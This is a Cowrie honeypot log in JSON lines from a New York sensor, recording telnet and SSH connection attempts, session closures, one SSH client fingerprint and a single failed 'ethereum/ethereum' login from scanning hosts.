{"eventid":"cowrie.session.closed","duration":31.878297328948975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:23.890681Z","src_ip":"80.65.211.42","session":"84587b64a686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51394,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f754b17b26","protocol":"telnet","message":"New connection: 80.65.211.42:51394 (159.203.135.109:23) [session: b5f754b17b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:28.219168Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51408,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d85ded68d70","protocol":"telnet","message":"New connection: 80.65.211.42:51408 (159.203.135.109:23) [session: 3d85ded68d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:29.088984Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51412,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7ea27fcc281","protocol":"telnet","message":"New connection: 80.65.211.42:51412 (159.203.135.109:23) [session: b7ea27fcc281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:33.078670Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51422,"dst_ip":"159.203.135.109","dst_port":23,"session":"68bb72e59a9d","protocol":"telnet","message":"New connection: 80.65.211.42:51422 (159.203.135.109:23) [session: 68bb72e59a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:33.550705Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51428,"dst_ip":"159.203.135.109","dst_port":23,"session":"552c6996d4e0","protocol":"telnet","message":"New connection: 80.65.211.42:51428 (159.203.135.109:23) [session: 552c6996d4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:33.660834Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47464,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa74a43f9bb","protocol":"telnet","message":"New connection: 80.65.211.42:47464 (159.203.135.109:23) [session: 3fa74a43f9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:40.466919Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47470,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2044541d3ee","protocol":"telnet","message":"New connection: 80.65.211.42:47470 (159.203.135.109:23) [session: f2044541d3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:40.630704Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54124,"dst_ip":"159.203.135.109","dst_port":23,"session":"57261f077ce5","protocol":"telnet","message":"New connection: 80.65.211.42:54124 (159.203.135.109:23) [session: 57261f077ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:45.281100Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57026,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f16ea63e49d","protocol":"telnet","message":"New connection: 69.65.3.189:57026 (10.17.0.5:23) [session: 7f16ea63e49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:53.946107Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52474,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07290ee421b","protocol":"ssh","message":"New connection: 80.94.92.184:52474 (10.17.0.5:22) [session: e07290ee421b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:56.221986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:56.377100Z","src_ip":"80.94.92.184","session":"e07290ee421b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:56.382031Z","src_ip":"80.94.92.184","session":"e07290ee421b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44736,"dst_ip":"159.203.135.109","dst_port":23,"session":"62e2ca3368a7","protocol":"telnet","message":"New connection: 80.65.211.42:44736 (159.203.135.109:23) [session: 62e2ca3368a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:57.330887Z"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:57.581336Z","src_ip":"80.94.92.184","session":"e07290ee421b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44742,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7ea9a89591","protocol":"telnet","message":"New connection: 80.65.211.42:44742 (159.203.135.109:23) [session: 1f7ea9a89591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:59.092691Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:59.122713Z","src_ip":"80.94.92.184","session":"e07290ee421b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.35244393348694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:00.571534Z","src_ip":"80.65.211.42","session":"b5f754b17b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.728761434555054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:00.817616Z","src_ip":"80.65.211.42","session":"3d85ded68d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060192346572876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:04.138757Z","src_ip":"80.65.211.42","session":"b7ea27fcc281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25305461883545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:04.913800Z","src_ip":"80.65.211.42","session":"552c6996d4e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.462610244750977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:05.013195Z","src_ip":"80.65.211.42","session":"68bb72e59a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"dce9b1f78bd7","protocol":"telnet","message":"New connection: 80.65.211.42:50250 (159.203.135.109:23) [session: dce9b1f78bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:07.702284Z"}
{"eventid":"cowrie.session.closed","duration":120.00161147117615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:12.362488Z","src_ip":"157.49.80.15","session":"a65b7ed0e1c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.904712438583374,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:13.371485Z","src_ip":"80.65.211.42","session":"3fa74a43f9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83151626586914,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:13.462109Z","src_ip":"80.65.211.42","session":"f2044541d3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d81e0a7670","protocol":"telnet","message":"New connection: 80.65.211.42:50266 (159.203.135.109:23) [session: 02d81e0a7670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:13.850681Z"}
{"eventid":"cowrie.session.closed","duration":120.00167751312256,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:15.994869Z","src_ip":"157.49.80.15","session":"203ec4a3fada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":57940,"dst_ip":"159.203.135.109","dst_port":23,"session":"901d69be7dcd","protocol":"telnet","message":"New connection: 80.65.211.42:57940 (159.203.135.109:23) [session: 901d69be7dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:16.046568Z"}
{"eventid":"cowrie.session.closed","duration":120.00123190879822,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:16.130397Z","src_ip":"157.49.80.15","session":"b78bfb9addd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92475461959839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:16.205748Z","src_ip":"80.65.211.42","session":"57261f077ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":45082,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a22c1b91afc","protocol":"telnet","message":"New connection: 157.49.80.15:45082 (10.17.0.5:23) [session: 5a22c1b91afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:16.561577Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":45130,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4b18ee4c0f","protocol":"telnet","message":"New connection: 157.49.80.15:45130 (10.17.0.5:23) [session: 5c4b18ee4c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:16.708603Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":57956,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dbf1afdfebc","protocol":"telnet","message":"New connection: 80.65.211.42:57956 (159.203.135.109:23) [session: 0dbf1afdfebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:18.446109Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":55165,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2abf1c9ed26","protocol":"telnet","message":"New connection: 157.49.80.15:55165 (10.17.0.5:23) [session: f2abf1c9ed26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:20.334788Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54900,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ab07b0ab9d","protocol":"telnet","message":"New connection: 80.65.211.42:54900 (159.203.135.109:23) [session: 36ab07b0ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:24.186292Z"}
{"eventid":"cowrie.session.closed","duration":31.023447275161743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:28.354236Z","src_ip":"80.65.211.42","session":"62e2ca3368a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.680472373962402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:30.773080Z","src_ip":"80.65.211.42","session":"1f7ea9a89591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ee1592b5b8","protocol":"telnet","message":"New connection: 66.113.191.20:38598 (10.17.0.5:23) [session: f4ee1592b5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:32.440312Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":38596,"dst_ip":"10.17.0.5","dst_port":23,"session":"90cf8cc615bf","protocol":"telnet","message":"New connection: 66.113.191.20:38596 (10.17.0.5:23) [session: 90cf8cc615bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:32.444888Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":39058,"dst_ip":"10.17.0.5","dst_port":23,"session":"1661fc7d82d5","protocol":"telnet","message":"New connection: 66.113.191.20:39058 (10.17.0.5:23) [session: 1661fc7d82d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:32.824751Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":39876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41c116fd5f1","protocol":"telnet","message":"New connection: 66.113.191.20:39876 (10.17.0.5:23) [session: a41c116fd5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:33.596920Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":40014,"dst_ip":"10.17.0.5","dst_port":23,"session":"766d5a4faf16","protocol":"telnet","message":"New connection: 66.113.191.20:40014 (10.17.0.5:23) [session: 766d5a4faf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:33.679011Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":40660,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d89f068665","protocol":"telnet","message":"New connection: 66.113.191.20:40660 (10.17.0.5:23) [session: 09d89f068665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:34.127930Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"2299336dedff","protocol":"telnet","message":"New connection: 66.113.191.20:40886 (10.17.0.5:23) [session: 2299336dedff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:34.205984Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":41168,"dst_ip":"10.17.0.5","dst_port":23,"session":"749752b8ff87","protocol":"telnet","message":"New connection: 66.113.191.20:41168 (10.17.0.5:23) [session: 749752b8ff87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:34.331492Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35460,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f9c5db0210","protocol":"telnet","message":"New connection: 80.65.211.42:35460 (159.203.135.109:23) [session: f0f9c5db0210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:34.410963Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":44804,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c3397b5001","protocol":"telnet","message":"New connection: 66.113.191.20:44804 (10.17.0.5:23) [session: 48c3397b5001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:35.445287Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":45202,"dst_ip":"10.17.0.5","dst_port":23,"session":"d97b979ba51f","protocol":"telnet","message":"New connection: 66.113.191.20:45202 (10.17.0.5:23) [session: d97b979ba51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:35.554930Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46478,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8f890b23b4","protocol":"telnet","message":"New connection: 66.113.191.20:46478 (10.17.0.5:23) [session: 5b8f890b23b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:35.971920Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7438450143","protocol":"telnet","message":"New connection: 66.113.191.20:46910 (10.17.0.5:23) [session: eb7438450143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:36.100781Z"}
{"eventid":"cowrie.session.closed","duration":43.00590801239014,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:36.951909Z","src_ip":"69.65.3.189","session":"7f16ea63e49d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"2deedaefd386","protocol":"telnet","message":"New connection: 66.113.191.20:46546 (10.17.0.5:23) [session: 2deedaefd386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:36.989441Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35462,"dst_ip":"159.203.135.109","dst_port":23,"session":"6572ce0fdc69","protocol":"telnet","message":"New connection: 80.65.211.42:35462 (159.203.135.109:23) [session: 6572ce0fdc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:38.193758Z"}
{"eventid":"cowrie.session.closed","duration":32.7110538482666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:40.413197Z","src_ip":"80.65.211.42","session":"dce9b1f78bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35830,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0591074c647","protocol":"telnet","message":"New connection: 80.65.211.42:35830 (159.203.135.109:23) [session: a0591074c647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:44.638924Z"}
{"eventid":"cowrie.session.closed","duration":31.564428567886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:47.610874Z","src_ip":"80.65.211.42","session":"901d69be7dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35846,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e17adcf6911","protocol":"telnet","message":"New connection: 80.65.211.42:35846 (159.203.135.109:23) [session: 6e17adcf6911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:47.713275Z"}
{"eventid":"cowrie.session.closed","duration":35.208324909210205,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:49.058900Z","src_ip":"80.65.211.42","session":"02d81e0a7670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3721661567688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:49.818156Z","src_ip":"80.65.211.42","session":"0dbf1afdfebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"736573874418","protocol":"telnet","message":"New connection: 80.65.211.42:35862 (159.203.135.109:23) [session: 736573874418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:50.454521Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35872,"dst_ip":"159.203.135.109","dst_port":23,"session":"09eb8c94bde3","protocol":"telnet","message":"New connection: 80.65.211.42:35872 (159.203.135.109:23) [session: 09eb8c94bde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:52.644911Z"}
{"eventid":"cowrie.session.closed","duration":30.977317333221436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:55.163505Z","src_ip":"80.65.211.42","session":"36ab07b0ab9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47310,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a244035f2e2","protocol":"telnet","message":"New connection: 80.65.211.42:47310 (159.203.135.109:23) [session: 3a244035f2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:49:59.969648Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47312,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2858a05e9e2","protocol":"telnet","message":"New connection: 80.65.211.42:47312 (159.203.135.109:23) [session: a2858a05e9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:00.939632Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47322,"dst_ip":"159.203.135.109","dst_port":23,"session":"a15374892879","protocol":"telnet","message":"New connection: 80.65.211.42:47322 (159.203.135.109:23) [session: a15374892879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:00.972566Z"}
{"eventid":"cowrie.session.closed","duration":30.577457904815674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:03.017680Z","src_ip":"66.113.191.20","session":"f4ee1592b5b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57915949821472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:03.023978Z","src_ip":"66.113.191.20","session":"90cf8cc615bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.221861839294434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:03.900730Z","src_ip":"66.113.191.20","session":"766d5a4faf16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256282329559326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:04.080956Z","src_ip":"66.113.191.20","session":"1661fc7d82d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200510025024414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:04.797287Z","src_ip":"66.113.191.20","session":"a41c116fd5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730446577072144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:04.858254Z","src_ip":"66.113.191.20","session":"09d89f068665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535391092300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:04.866804Z","src_ip":"66.113.191.20","session":"749752b8ff87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66690683364868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:04.872789Z","src_ip":"66.113.191.20","session":"2299336dedff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71939969062805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:50:06.164576Z","src_ip":"66.113.191.20","session":"48c3397b5001","protocol":"telnet"}
